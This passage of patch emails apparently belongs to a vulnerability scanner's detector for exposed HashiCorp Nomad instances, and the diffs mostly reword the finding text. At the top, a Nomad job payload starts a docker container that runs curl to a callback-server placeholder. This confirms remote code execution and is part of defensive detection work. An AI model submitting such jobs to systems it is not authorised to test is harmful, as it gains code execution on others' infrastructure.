'{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{}' headers: [ { name: "Content-Type" value: "application/json; charset=utf-8" } ] From 9f999b7de1c667a6121e9d934740784296201b7b Mon Sep 17 00:00:00 2001 From: Am <77095239+am0o0@users.noreply.github.com> Date: Fri, 27 Feb 2026 19:55:13 +0400 Subject: [PATCH 4/6] Update templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto Co-authored-by: Robert Dick --- .../plugins/exposedui/HashicorpNomad_ExposedUI.textproto | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto index 84bc21ee5..94d82dd09 100644 --- a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto +++ b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto @@ -17,7 +17,7 @@ finding: { publisher: "GOOGLE" value: "HASHICORPNOMAD_EXPOSED_UI" } - title: "Exposed HashicorpNomad instance" + title: "Exposed Hashicorp Nomad instance" description: "HashicorpNomad instance is exposed and can be used to compromise the system." recommendation: "Configure authentication or ensure the HashicorpNomad instance is not exposed " From f1dd6c5532583da6c7aa8d0e5c446ae37064d05e Mon Sep 17 00:00:00 2001 From: Am <77095239+am0o0@users.noreply.github.com> Date: Fri, 27 Feb 2026 19:55:21 +0400 Subject: [PATCH 5/6] Update templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto Co-authored-by: Robert Dick --- .../plugins/exposedui/HashicorpNomad_ExposedUI.textproto | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto index 94d82dd09..990ee50ad 100644 --- a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto +++ b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto @@ -20,7 +20,7 @@ finding: { title: "Exposed Hashicorp Nomad instance" description: "HashicorpNomad instance is exposed and can be used to compromise the system." recommendation: - "Configure authentication or ensure the HashicorpNomad instance is not exposed " + "Configure authentication or ensure the Hashicorp Nomad instance is not exposed " "to the network. See " "https://developer.hashicorp.com/nomad/install for details." severity: CRITICAL From 0988bc43a3a153831c523be35c814fa5ffb2847b Mon Sep 17 00:00:00 2001 From: Am <77095239+am0o0@users.noreply.github.com> Date: Fri, 27 Feb 2026 19:55:27 +0400 Subject: [PATCH 6/6] Update templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto Co-authored-by: Robert Dick --- .../plugins/exposedui/HashicorpNomad_ExposedUI.textproto | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto index 990ee50ad..77758388e 100644 --- a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto +++ b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto @@ -18,7 +18,7 @@ finding: { value: "HASHICORPNOMAD_EXPOSED_UI" } title: "Exposed Hashicorp Nomad instance" - description: "HashicorpNomad instance is exposed and can be used to compromise the system." + description: "Hashicorp Nomad instance is exposed and can be used to execute arbitrary code. Confirmed by starting a docker container and running `curl` to fetch the callback server URI. " recommendation: "Configure authentication or ensure the Hashicorp Nomad instance is not exposed " "to the network. See "